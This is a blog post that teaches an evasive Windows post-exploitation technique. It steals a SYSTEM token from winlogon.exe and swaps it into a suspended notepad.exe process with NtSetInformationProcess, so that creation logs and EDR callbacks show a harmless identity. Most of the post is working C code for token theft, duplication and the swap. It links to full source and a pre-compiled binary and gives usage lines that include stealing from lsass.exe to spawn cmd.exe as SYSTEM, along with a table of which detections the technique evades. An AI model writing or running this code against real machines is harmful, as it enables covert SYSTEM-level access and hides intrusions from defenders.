#  Born With a Stolen Soul — Spawning Processes With Swapped Identities via NtSetInformationProcess

*How we create a legitimate Windows process, replace its identity before it executes a single instruction, and wake it up as SYSTEM — invisible to most EDR process creation hooks.*

## Introduction — What Even Is a Token?

Before we get into the exploit, let's build a mental model that sticks.

Every process running on your Windows machine has an **identity card** stapled to it. Windows calls this card an **Access Token**. When `notepad.exe` tries to open a file, it's not notepad asking — it's the token attached to notepad that says *"I am DESKTOP\\Alice, I belong to the Users group, and I have these specific permissions."* The kernel reads that token, checks it against the file's security descriptor, and decides: allow or deny.

### The Two Types of Tokens

There are exactly **two types** of tokens in Windows:

| Type | Who holds it | Analogy | Purpose |
| --- | --- | --- | --- |
| **Primary Token** | A **Process** | Your **passport** — permanent, defines who you are | Set at birth, inherited by all threads inside the process. Determines what the process can access. |
| **Impersonation Token** | A **Thread** | A **visitor badge** — temporary, borrowed identity | One thread can pretend to be someone else without changing the process's identity. Used for temporary privilege changes. |

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/0497bc24-a1df-4bbc-a541-f6a065481e33.png align="center")

Here's the structural rule that governs everything in this blog:

> **A thread cannot hold a Primary token in its context, and a process cannot hold an Impersonation token.**
> 
> The kernel enforces this. They're structurally incompatible — like trying to plug a USB-A cable into a USB-C port. You need an adapter. That adapter is `DuplicateTokenEx`, which converts between the two types. You'll see it multiple times in our code.

### Why Do Two Types Exist?

Think about a web server. The server process runs as `NT AUTHORITY\SYSTEM` — its Primary token is the SYSTEM identity. When a client connects and authenticates as `DOMAIN\Alice`, the server needs to temporarily act as Alice to check if she can access the requested file. But the server doesn't want to *become* Alice permanently — it needs to go back to being SYSTEM for the next request.

The solution: the server thread grabs an Impersonation token for Alice, does the file check, then drops the impersonation. The process stays SYSTEM. The thread temporarily wore Alice's badge, then took it off.

Attackers reverse this pattern. Instead of a server wearing a *less*\-privileged badge temporarily, an attacker wears a *more*\-privileged badge — stealing SYSTEM's identity and wearing it on their thread.

### The Two Things Attackers Do With Tokens

Everything in token manipulation boils down to two moves:

**Move 1 — Steal & Wear (Thread-Level Takeover):** Open a SYSTEM process → grab its Primary token → convert it to Impersonation → apply it to your thread. Your thread now acts as SYSTEM. The process itself still looks normal from the outside. This is fast, quiet, and temporary.

**Move 2 — Steal & Spawn (Process-Level Takeover):** Take that stolen token → convert it to Primary → use it to create a brand new process. The new process is *permanently* SYSTEM. It survives even if you kill the original attacker process.

This blog covers a specific — and the most evasive — variant of Move 2.

* * *

## What We're Going to Do

Instead of spawning a process *with* a stolen token (which process creation APIs log and EDR products intercept), we're going to:

1.  **Create a clean, legitimate process** — like `notepad.exe` — using our own boring identity
    
2.  **Freeze it before it executes a single instruction** using `CREATE_SUSPENDED`
    
3.  **Swap its identity** with a stolen SYSTEM token via an undocumented kernel API (`NtSetInformationProcess`)
    
4.  **Resume it** — the process wakes up as SYSTEM, with no trace of the swap in creation logs
    

The process is born legitimate but wakes up as someone else entirely.

We call this the **Suspended Process Token Swap**, and it's the most advanced token manipulation technique in the Windows attacker's toolkit.

* * *

## Why Not Just Use CreateProcessAsUserW?

Fair question. The typical way to spawn a process with a stolen token is `CreateProcessAsUserW` or `CreateProcessWithTokenW`. Both work, but both have a critical flaw from an attacker's perspective:

**The process creation event already contains the stolen identity.**

When Windows logs Event ID 4688 (Process Creation), the token information is baked into the event at creation time. EDR products hook `CreateProcessAsUserW` and see exactly what token you're passing. The entire operation — "here's a token, spawn this process with it" — is a single, observable action.

```plaintext
Traditional approach (detectable):
  CreateProcessAsUserW(stolenToken, "cmd.exe")
  → Event 4688 fires with stolenToken's identity
  → EDR sees: "Why is admin spawning cmd.exe as SYSTEM?"
```

What if we could separate those two steps? Create the process with our *own* identity, and then *later*, before it runs any code, silently replace its identity with the stolen one?

```plaintext
Our approach (evasive):
  Step 1: CreateProcessW("notepad.exe", CREATE_SUSPENDED)  → Event 4688 fires with OUR identity (boring)
  Step 2: NtSetInformationProcess(swap token)              → No event. Silent.
  Step 3: ResumeThread()                                   → Process runs as SYSTEM
```

That gap between Step 1 and Step 2 is where the evasion lives.

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/ae1bcd4a-bde4-4d42-af95-7f7e2be8cdda.png align="center")

* * *

## The Kernel's One Exception: Suspended Processes

Here's a structural rule from the Windows kernel:

> **You cannot hot-swap the primary token of a running process.**
> 
> Once a process has started executing threads, its primary token is locked. The kernel refuses `NtSetInformationProcess` with `STATUS_ACCESS_DENIED` or `STATUS_NOT_SUPPORTED`. This makes sense — imagine swapping the identity of a process that's halfway through a security check. The results would be undefined.

But there's an exception. When you create a process with the `CREATE_SUSPENDED` flag, the process exists in memory — its address space is set up, its primary thread is created — but **no code has executed**. The thread is frozen before the very first instruction of `ntdll!LdrInitializeThunk`. In this state, and *only* in this state, the kernel permits a primary token swap via `NtSetInformationProcess`.

The moment you call `ResumeThread`, the window closes. No more swaps. The process runs with whatever token it has at that point — permanently.

* * *

## The Complete Attack Flow

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/8f5965af-fa27-490a-a788-709be097282a.png align="center")

Here's the full chain, step by step:

The critical insight: **Step 4 creates the process with YOUR identity. Step 5 overwrites it.** Any tool that only inspects the creation event sees a normal, boring process launch. The token swap happens in the gap between creation and execution.

## The Code — Walking Through Every Line

> 📁 Full source code and pre-compiled binary: [AccessTokenManipulation\_NtSetInformationProcess](https://github.com/veeramani110400/AccessTokenManipulation_NtSetInformationProcess)

* * *

### Part 1: Resolving the Undocumented API

`NtSetInformationProcess` is not a Win32 API. It lives in `ntdll.dll` — the low-level native API layer that sits between the Win32 subsystem and the kernel. Microsoft doesn't document it in the Windows SDK. You won't find it in `<windows.h>`. We have to define its structures ourselves and load it dynamically at runtime.

```c
/* ProcessAccessToken information class = 9 */
#define ProcessAccessToken_InfoClass 9

/* The structure NtSetInformationProcess expects for token swap */
typedef struct _PROCESS_ACCESS_TOKEN {
    HANDLE Token;    /* The new primary token to assign */
    HANDLE Thread;   /* The initial thread of the suspended process */
} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN;

/* Function signature — matches ntdll's export */
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(
    HANDLE ProcessHandle,
    ULONG  ProcessInformationClass,
    PVOID  ProcessInformation,
    ULONG  ProcessInformationLength
);
```

Three things to notice:

1.  `ProcessAccessToken_InfoClass = 9` — This is the magic number. `NtSetInformationProcess` supports dozens of information classes (for setting priorities, DEP policies, memory limits, etc.). Class 9 is specifically for replacing the primary token.
    
2.  `PROCESS_ACCESS_TOKEN` — The structure is tiny: just a token handle and a thread handle. The thread handle must point to the initial thread of the suspended process. The kernel uses it to validate that the target process hasn't started execution.
    
3.  `NTSTATUS` **return** — Native APIs don't use `GetLastError()`. They return NTSTATUS codes directly. `0` means success. Negative values mean failure.
    

At runtime, we resolve the function dynamically:

```c
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

pNtSetInformationProcess NtSetInformationProcess =
    (pNtSetInformationProcess)(void*)GetProcAddress(hNtdll, "NtSetInformationProcess");
```

Why `GetModuleHandle` instead of `LoadLibrary`? Because `ntdll.dll` is **always** loaded — it's the first DLL mapped into every Windows process. We don't need to load it; it's already there.

Why does this matter for evasion? Because `NtSetInformationProcess` doesn't appear in our executable's **import table**. Static analysis tools that scan PE imports won't see it. It only exists as a string resolved at runtime.

* * *

### Part 2: Enabling the Required Privileges

This technique requires three privileges. Not all are always available, but we attempt all of them:

```c
enable_privilege("SeDebugPrivilege");
enable_privilege("SeAssignPrimaryTokenPrivilege");
enable_privilege("SeIncreaseQuotaPrivilege");
```

| Privilege | What it unlocks | Who has it |
| --- | --- | --- |
| `SeDebugPrivilege` | `OpenProcess` on SYSTEM-level processes like `winlogon.exe` | Local Administrators |
| `SeAssignPrimaryTokenPrivilege` | `NtSetInformationProcess` with class 9 — the actual token swap | **SYSTEM only** (not regular admins) |
| `SeIncreaseQuotaPrivilege` | Allows the kernel to transition quota limits when switching security contexts | Local Administrators |

**Key point:** `SeAssignPrimaryTokenPrivilege` is the blocker. Regular administrators *do not* have it. This is why this technique is typically chained: you first use thread-level impersonation (steal & wear SYSTEM) to get the privilege, and *then* execute the suspended token swap from that elevated context.

The `enable_privilege` function itself is straightforward — open our process token, look up the privilege LUID, flip it to enabled:

```c
static BOOL enable_privilege(const char* privilege_name) {
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    OpenProcessToken(GetCurrentProcess(),
                     TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

    LookupPrivilegeValueA(NULL, privilege_name, &luid);

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);

    CloseHandle(hToken);
    return (GetLastError() == ERROR_SUCCESS);
}
```

* * *

### Part 3: Stealing the Source Token

We steal a SYSTEM token from `winlogon.exe`. Why winlogon? Three reasons:

*   It **always** runs as `NT AUTHORITY\SYSTEM`
    
*   It's **always** present on every Windows system
    
*   It's a **single-instance** process — our PID lookup returns a deterministic result
    

```c
/* Find the PID using CreateToolhelp32Snapshot */
DWORD pid = find_pid_by_name("winlogon.exe");

/* Open a handle to the process */
HANDLE hSourceProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);

/* Extract its primary token */
HANDLE hStolenPrimary = NULL;
OpenProcessToken(hSourceProcess,
                 TOKEN_DUPLICATE | TOKEN_QUERY,
                 &hStolenPrimary);
```

`OpenProcessToken` always returns a handle to a **Primary** token — because processes only *have* primary tokens. The `TOKEN_DUPLICATE | TOKEN_QUERY` flags give us permission to both inspect the token and create copies of it.

* * *

### Part 4: Why We Duplicate a Primary Token as... Primary Again

This is the part that trips up a lot of people:

> *"We already have a Primary token from winlogon — why call* `DuplicateTokenEx` *to create another Primary?"*

The answer is **ownership and kernel reference counting**. The token handle from `OpenProcessToken` is a *reference* to winlogon's token object in the kernel. We can read it, but we can't assign it to a different process — the kernel would refuse because the handle's access control is tied to the source process.

`DuplicateTokenEx` creates a **new, independent** token object that we fully own:

```c
HANDLE hNewPrimary = NULL;
DuplicateTokenEx(
    hStolenPrimary,           /* Source: winlogon's primary token */
    TOKEN_ALL_ACCESS,         /* Full access on the new token */
    NULL,                     /* Default security attributes */
    SecurityImpersonation,    /* Impersonation level embedded in the token */
    TokenPrimary,             /* Output type: Primary */
    &hNewPrimary              /* Receives the new, independent token */
);
```

The `SecurityImpersonation` parameter might look wrong since we're creating a Primary token — but it's not the token type. It's the **impersonation level** stored inside the token, which controls how much impersonation the token allows. `SecurityImpersonation` means "full impersonation rights."

* * *

### Part 5: Creating the Suspended Process

Now the evasion magic begins. We create our target process — but freeze it before it runs:

```c
STARTUPINFOW si = {0};
PROCESS_INFORMATION pi = {0};
si.cb = sizeof(si);

CreateProcessW(
    NULL,                                   /* Application name */
    L"C:\\Windows\\System32\\notepad.exe",  /* Command line */
    NULL, NULL,                             /* Security attributes */
    FALSE,                                  /* Inherit handles */
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,  /* ← THE KEY FLAG */
    NULL, NULL,                             /* Environment, directory */
    &si, &pi                                /* Startup info, process info */
);
```

After this call:

*   `pi.hProcess` — handle to the new process
    
*   `pi.hThread` — handle to its initial (and only) thread
    
*   The process exists in memory with a full address space
    
*   **But zero instructions have executed.** The thread is frozen at `ntdll!LdrInitializeThunk` — before the Windows loader has even started processing DLL imports.
    

At this point, if you query the suspended process's token using Process Explorer or any API, it shows **your current user** — the person who created it. Totally normal. Totally boring. Exactly what we want the logs to show.

* * *

### Part 6: The Token Swap — The Heart of the Technique

Six lines of code. This is the entire attack:

```c
PROCESS_ACCESS_TOKEN tokenInfo;
tokenInfo.Token  = hNewPrimary;   /* Our stolen SYSTEM token */
tokenInfo.Thread = pi.hThread;    /* The initial thread of the suspended process */

NTSTATUS status = NtSetInformationProcess(
    pi.hProcess,                  /* Target: the suspended process */
    ProcessAccessToken_InfoClass, /* Information class: 9 */
    &tokenInfo,                   /* Pointer to our PROCESS_ACCESS_TOKEN struct */
    sizeof(tokenInfo)             /* Size of the structure */
);
```

If `NT_SUCCESS(status)` returns true — the swap is done. The suspended process's primary token has been replaced. Its old identity (your user account) is gone. Its new identity (SYSTEM, stolen from winlogon) is in place. No event was logged for this operation.

The kernel validates several things during this call:

| Check | What happens if it fails |
| --- | --- |
| Process must be suspended (no running threads) | `STATUS_NOT_SUPPORTED (0xC00000BB)` |
| Caller must hold `SeAssignPrimaryTokenPrivilege` | `STATUS_ACCESS_DENIED (0xC0000022)` |
| Token must be a valid Primary token | `STATUS_INVALID_PARAMETER` |
| Thread handle must be the initial thread | Undefined behavior / access denied |

Our code handles these failures gracefully — if the swap fails, we terminate the orphaned suspended process instead of leaving it hanging:

```c
if (!NT_SUCCESS(status)) {
    /* Log the specific NTSTATUS error */
    TerminateProcess(pi.hProcess, 1);  /* Clean up the orphan */
}
```

* * *

### Part 7: Waking Up the Monster

One final call:

```c
ResumeThread(pi.hThread);
```

The suspended thread starts executing `ntdll!LdrInitializeThunk` — the Windows loader entry point. It loads DLLs, initializes the C runtime, and eventually reaches `WinMain` or `main`. But every single security check from this point forward uses the **swapped token**.

The process is SYSTEM. It was born as you, but it woke up as SYSTEM.

The before-and-after output makes this crystal clear:

![](https://cdn.hashnode.com/uploads/covers/69441e0da418bf1fc22446c0/5ca0993e-a874-4005-b1ea-e55a0d30d92a.png align="center")

Same process. Same PID. Completely different identity.

* * *

## Why This Evades Detection

Let's map this against what defenders typically monitor:

| Detection Layer | What it sees | Why B3 evades it |
| --- | --- | --- |
| **Event ID 4688 (Process Creation)** | Process created by `DESKTOP\Alice` with `CREATE_SUSPENDED` | Token swap happens *after* this event fires. The log shows the original (boring) identity. |
| **EDR Process Creation Callback** | Hooks fire at `NtCreateUserProcess` or `PsSetCreateProcessNotifyRoutineEx` | Same — callbacks fire at creation time, before the swap. The token is clean when inspected. |
| **Parent-Child Process Tree** | `notepad.exe` spawned by our process | Looks completely normal. No suspicious `cmd.exe` spawned by `svchost.exe`. |
| **Process Token Query** | After swap, the process token says SYSTEM | Only visible if the EDR *re-queries* the token after creation — most don't. |
| `NtSetInformationProcess` **Hooking** | The specific syscall with information class 9 | **This is the real detection point** — but very few products hook this specific class. It's rare. |

The gap between "process creation event" and "token swap" is where the evasion lives. Most security products operate on a **"check at creation, trust forever"** model. This technique exploits that trust.

* * *

## Required Privileges — Who Can Actually Do This?

This is important and often glossed over:

| Privilege | Regular Admin | SYSTEM | Required for |
| --- | --- | --- | --- |
| `SeDebugPrivilege` | ✅ | ✅ | Opening `winlogon.exe`'s process handle |
| `SeAssignPrimaryTokenPrivilege` | ❌ | ✅ | The `NtSetInformationProcess` swap call |
| `SeIncreaseQuotaPrivilege` | ✅ | ✅ | Quota transition during token switch |

**Practical implication:** You typically need to be SYSTEM already to perform this technique. That makes it a **persistence and evasion** technique, not a privilege escalation technique.

The typical attack chain:

```plaintext
1. Get admin access (initial compromise)
2. Steal & Wear SYSTEM on your thread (thread-level impersonation)
3. From SYSTEM context → execute this technique to spawn a clean-looking 
   process that permanently runs as SYSTEM
```

The value isn't in getting SYSTEM — you already have it. The value is in getting a **SYSTEM process that looks legitimate** — clean parent-child tree, clean creation event, legitimate binary. Much harder to attribute to the attacker.

* * *

## Building and Running

### Cross-Compile from Linux (MinGW)

```bash
x86_64-w64-mingw32-gcc -O2 -o B3_suspended_swap.exe suspended_swap.c \
    -ladvapi32 -lkernel32 -municode
```

> 📦 Or grab the pre-compiled exe directly from the [repository](https://github.com/veeramani110400/AccessTokenManipulation_NtSetInformationProcess).

### Usage

```powershell
# Default: steal from winlogon.exe → spawn notepad.exe as SYSTEM
.\B3_suspended_swap.exe

# Custom: steal from lsass.exe → spawn cmd.exe as SYSTEM
.\B3_suspended_swap.exe lsass.exe "C:\Windows\System32\cmd.exe"
```

* * *

## The Bigger Picture — Token Manipulation Technique Family

This technique doesn't exist in isolation. It's part of a family of token manipulation techniques, each serving different purposes:

| Technique | What it does | Trade-off |
| --- | --- | --- |
| **A1** — Steal & Impersonate | Thread-level identity theft via `SetThreadToken` | Fast & simple, but temporary (thread-only) |
| **A2** — Privilege Reduction | Strip your own privileges for sandboxing | Defensive/legitimate use |
| **B1** — `CreateProcessAsUserW` | Spawn process with stolen Primary token | Works, but token visible in creation event |
| **B2** — `CreateProcessWithTokenW` | Let `seclogon` service handle conversion | Simpler, but depends on Secondary Logon service |
| **B3** — Suspended Token Swap *(this blog)* | Swap frozen process identity via `NtSetInformationProcess` | **Maximum evasion** — creation event is clean |

* * *

## Conclusion

The Suspended Process Token Swap via `NtSetInformationProcess` exploits a fundamental gap in how Windows and most security products handle process creation: **they trust the identity established at creation time and don't re-check it afterward.**

By separating process creation from identity assignment — using the `CREATE_SUSPENDED` window — an attacker can birth a process that looks legitimate in every log and every EDR callback, but wakes up running as SYSTEM.

The technique is powerful but not without constraints:

*   It requires `SeAssignPrimaryTokenPrivilege` (SYSTEM-level), making it a post-exploitation evasion tool, not an initial escalation path
    
*   The detection surface exists for teams that monitor `NtSetInformationProcess` with information class 9
    
*   EDR products that re-query process tokens *after* creation callbacks can catch the mismatch
    

### What's Next — Part 2: The Seclogon Way

In the next part of this series, we'll explore **CreateProcessWithTokenW and the Secondary Logon service** — a fundamentally different approach. Instead of manually swapping tokens on a suspended process, `CreateProcessWithTokenW` delegates the entire Primary token conversion to a built-in Windows service (`seclogon`). It operates at a lower privilege bar (no `SeAssignPrimaryTokenPrivilege` needed), accepts Impersonation tokens directly, and is significantly simpler to implement. But it introduces its own detection surface through the Secondary Logon service interaction and leaves a different forensic footprint.

We'll walk through the code, compare the trade-offs against the `NtSetInformationProcess` approach, and show when each technique is the better choice.

Stay tuned.

* * *

*MITRE ATT&CK References:*

*   [*T1134.002 — Access Token Manipulation: Create Process with Token*](https://attack.mitre.org/techniques/T1134/002/)
    
*   [*T1055.012 — Process Injection: Process Hollowing*](https://attack.mitre.org/techniques/T1055/012/) *(shares the* `CREATE_SUSPENDED` *abuse pattern)*
